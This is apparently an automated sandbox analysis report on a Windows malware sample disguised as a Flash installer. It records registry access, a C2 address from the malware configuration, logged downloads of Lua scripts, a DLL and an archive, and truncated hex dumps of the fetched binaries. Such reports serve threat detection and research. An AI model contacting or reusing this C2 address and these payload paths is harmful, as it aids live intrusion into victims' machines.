Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://45.154.13.94/F8JD2R
Source: Malware configuration extractor	URLs: 45.154.13.94

Uses netstat to query active network connections and open ports

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Tue, 13 Jul 2021 12:37:12 GMTContent-Type: application/octet-streamContent-Length: 2285824Connection: keep-alivex-oss-request-id: 60ED88F8EDBE2668A47093DAAccept-Ranges: bytesETag: "9F7C02C3D29ACFAFFA51CF2F7FF8B88A"Last-Modified: Wed, 16 Jun 2021 10:16:36 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 15331924415464603289x-oss-storage-class: StandardContent-Disposition: attachmentx-oss-force-download: trueContent-MD5: n3wCw9Kaz6/6Uc8vf/i4ig==x-oss-server-time: 1Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 76 e4 ab 88 17 8a f8 88 17 8a f8 88 17 8a f8 81 6f 0e f8 89 17 8a f8 81 6f 09 f8 9c 17 8a f8 16 b7 4d f8 89 17 8a f8 79 d1 47 f8 a5 17 8a f8 79 d1 44 f8 75 17 8a f8 79 d1 45 f8 28 16 8a f8 88 17 8a f8 8a 17 8a f8 ee f9 44 f8 8b 17 8a f8 81 6f 19 f8 9d 17 8a f8 ee f9 45 f8 9f 17 8a f8 88 17 8b f8 08 14 8a f8 ee f9 59 f8 c0 17 8a f8 ee f9 40 f8 89 17 8a f8 ee f9 43 f8 89 17 8a f8 ee f9 46 f8 89 17 8a f8 52 69 63 68 88 17 8a f8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ed 23 b6 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e8 23 00 00 80 3d 00 00 00 00 00 26 e1 1e 00 00 10 00 00 00 00 24 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 63 00 00 04 00 00 9b c6 23 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 80 ed 2c 00 69 00 00 00 cc fd 62 00 a9 02 00 00 00 30 62 00 c6 c9 00 00 00 00 00 00 00 00 00 00 00 c4 22 00 00 1d 00 00 00 10 63 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 a6 2c 00 20 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 20 62 00 00 10 00 00 00 e0 21 00 00 04 00 00 50 45 43 32 5e 4f 00 00 00 00 00 00 20 00 00 e0 2e 72 73 72 63 00 00 00 00 e0 00 00 00 30 62 00 00 de 00 00 00 e4 21 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 65 6c 6f 63 00 00 00 02 00 00 00 10 63 00 00 02 00 00 00 c2 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Tue, 13 Jul 2021 12:37:49 GMTContent-Type: application/octet-streamContent-Length: 136704Connection: closex-oss-request-id: 60ED891DEDBE2668A470FE27Accept-Ranges: bytesETag: "565E85C506595D312521995D631C2650"Last-Modified: Thu, 17 Jun 2021 13:28:13 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 2695529848333191165x-oss-storage-class: StandardContent-Disposition: attachmentx-oss-force-download: trueContent-MD5: Vl6FxQZZXTElIZldYxwmUA==x-oss-server-time: 1Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 df 32 93 a8 9b 53 fd fb 9b 53 fd fb 9b 53 fd fb 8f 38 fe fa 91 53 fd fb 8f 38 f8 fa 09 53 fd fb 8f 38 f9 fa 89 53 fd fb 8f 38 fb fa 9a 53 fd fb c9 26 f9 fa 94 53 fd fb c9 26 fe fa 88 53 fd fb c9 26 f8 fa b3 53 fd fb 8f 38 fc fa 91 53 fd fb bc 95 86 fb 98 53 fd fb 9b 53 fc fb fc 53 fd fb ce 26 f4 fa 9f 53 fd fb ce 26 fd fa 9a 53 fd fb ce 26 02 fb 9a 53 fd fb ce 26 ff fa 9a 53 fd fb 52 69 63 68 9b 53 fd fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e1 4b cb 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 74 01 00 00 aa 00 00 00 00 00 00 f3 37 00 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 02 00 00 04 00 00 00 00 00 00 03 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 01 02 00 58 00 00 00 18 02 02 00 8c 00 00 00 00 30 02 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 44 13 00 00 48 f0 01 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 f0 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6c 73 01 00 00 10 00 00 00 74 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 7a 00 00 00 90 01 00 00 7c 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 16 00 00 00 10 02 00 00 0c 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 30 02 00 00 02 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 44 13 00 00 00 40 02 00 00 14 00 00 00 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@

Source: global traffic	HTTP traffic detected: GET /flashplayerpp_ax_install_cn_fc.exe HTTP/1.1accept: /host: softres.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /x86/1-CS-443.lua HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /x86/Schedule.lua HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /x86/ScheduleTask.dll HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ShellExperienceHost.zip HTTP/1.1

Source: Joe Sandbox View

IP Address: 211.152.136.41 211.152.136.41

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94
Source: unknown	TCP traffic detected without corresponding DNS query: 45.154.13.94

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Tue, 13 Jul 2021 12:37:52 GMTContent-Type: application/zipContent-Length: 16124619Connection: closex-oss-request-id: 60ED8920275E052C57997073Accept-Ranges: bytesETag: "55A7B6D67A84D10B92E16D895836F217"Last-Modified: Wed, 16 Jun 2021 10:22:41 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 5738892971117464177x-oss-storage-class: StandardContent-Disposition: attachmentx-oss-force-download: trueContent-MD5: Vae21nqE0QuS4W2JWDbyFw==x-oss-server-time: 6Data Raw: 50 4b 03 04 14 00 00 00 00 00 4a 6e 72 52 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 53 68 65 6c 6c 45 78 70 65 72 69 65 6e 63 65 48 6f 73 74 2f 50 4b 03 04 14 00 00 00 08 00 aa 7c 6c 52 ed d8 8c 63 25 18 00 00 38 2d 00 00 33 00 00 00 53 68 65 6c 6c 45 78 70 65 72 69 65 6e 63 65 48 6f 73 74 2f 61 70 69 2d 6d 73 2d 77 69 6e 2d 63 6f 72 65 2d 66 69 6c 65 2d 6c 31 2d 32 2d 30 2e 64 6c 6c ed 59 09 3c 54 5b 18 bf b3 18 66 ac 99 90 7d 44 29 32 ee 8c bd ac d9 12 22 64 8b 18 0c 26 cc 4c 33 63 4d 65 a6 d2 f2 4a a4 14 a5 90 1e ed 5a 9e 57 52 a1 b4 bc b2 a5 47 ab 94 24 a5 44 49 f5 52 ef dc b1 b6 bc fd bd df 5b 7e ef 70 ee 3d df 77 be f3 9d ef 7e e7 3b ff 7b be 3b ae fe e9 10 06 82 20 2c a8 1f 3e 40 d0 71 68 b0 58 43 bf 5c 2e 82 2a a5 5e 26 05 1d c3 d7 68 1c 47 b9 d4 68 78 45 32 b8 24 36 87 15 c1 a1 c5 90 42 69 4c 26 8b 47 0a a1 93 38 b1 4c 12 83 49 b2 73 f3 24 c5 b0 c2 e8 64 49 49 82 d6 90 8e 03 18 f1 ca ce 10 fa c6 e1 3a 80 a7 67 3e 12 de 69 99 4f 84 f7 9c 8d 83 74 84 90 ef c1 08 8d 44 e4 3e b5 c5 dd 1e 82 c2 52 d1 50 c8 43 45 bd 61 de 73 68 22 49 1c 2d 35 5e 48 88 8d 11 96 11 5e 53 50 c3 6d 34 04 11 a0 e1 3a 54 e0 41 a7 68 5e 81 80 7f 82 51 80 18 19 3b dc 18 bd 8d 36 83 c1 c5 05 35 66 2e 12 b0 03 33 86 96 80 20 53 8d 8f 6d f1 82 fe bc 42 e6 84 d1 78 34 08 8a 46 0f 19 84 15 d6 8f 8a 35 f8 27 73 b8 9c 50 68 c8 36 d2 90 8c d8 27 72 bf 2e 0c fe 2f ff f2 32 bc 67 90 90 31 05 75 ff 38 50 45 3e ee 93 04 35 0c d4 07 e3 40 1d d3 37 1c f7 c8 7e 9e 25 0b 2a ee a7 f5 97 00 41 d4 98 90 5c 0d e8 ad a0 16 83 7a 1b d4 f7 a0 1a 03 fd 02 50 eb 41 bb 07 d4 f1 a0 4d 03 15 19 89 06 3b 91 c6 66 e8 c5 70 f5 e2 19 4c bd 50 16 87 ae 17 ce 88 a6 eb 45 53 f4 a8 7a 30 39 2c 3a 1a b2 e5 d0 69 3c ba 03 e0 52 a1 28 3a 87 49 8f 36 a0 92 c7 32 1d e9 3c 2f 7a 0c db 9d c6 8b f4 19 95 f8 88 0b 08 6f 56 74 6c 0c 7d 0e 2d 86 ee c0 e2 0c 12 ae ac 58 26 cf 9d c5 60 f2 c6 8c fb 65 d1 11 09 44 37 22 c5 1d 11 43 a8 31 ba 7e 51 d2 c3 d3 ce d3 da 6b d3 9d 75 7e 65 95 50 fb d9 42 d3 75 aa cb 80 3f 7f d6 27 ec b0 90 11 9c 09 1e c1 87 51 9c 22 d3 11 7a 70 cd 2b 46 fa b5 92 92 92 c2 42 22 84 f8 35 38 4e 88 17 5a 30 05 61 05 03 5e 3a 66 84 47 1d 12 83 3e b5 ed f5 a9 6d 12 f3 45 d6 3b ea 1c 16 b3 14 c6 c0 ff e5 1f 5e 50 c2 bd 3c 01 bc 1b 3f e1 0b f7 2d fc 05 3e 1e 0b f6 fc 50 4c ac c3 7c ae 31 19 63 08 ae de 90 27 14 04 ae f6 90 07 68 39 41 6e d0 1c 40 3b 81 ab 03 68 23 e5 14 b6 fb fd 20 3a 10 c0 95 36 7b f8 6e 35 a4 07 0b fe d0 9f e8 be 09 Data Ascii: PKJnrR

Source: global traffic	HTTP traffic detected: GET /flashplayerpp_ax_install_cn_fc.exe HTTP/1.1accept: /host: softres.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /x86/1-CS-443.lua HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /x86/Schedule.lua HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /x86/ScheduleTask.dll HTTP/1.1
Source: global traffic	HTTP traffic detected: GET /ShellExperienceHost.zip HTTP/1.1

Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)

Source: unknown

DNS traffic detected: queries for: softres.oss-accelerate.aliyuncs.com

Source: Flash.exe, 00000004.00000002.479779132.00000000059E0000.00000002.00000001.sdmp	String found in binary or memory: http://%s.com
Source: luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:
Source: luac.exe, 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:v
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://amazon.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://auone.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.479779132.00000000059E0000.00000002.00000001.sdmp	String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://br.search.yahoo.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.orange.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscador.lycos.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscador.terra.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscador.terra.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscar.ozu.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://buscar.ya.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://busqueda.aol.com.mx/
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt0
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://cerca.lycos.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://cnet.search.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://crl.digicert-cn.com/DigiCertGlobalRootCA.crl0
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: http://crl.digicert-cn.com/GeoTrustCNRSACAG1.crt0
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digi
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
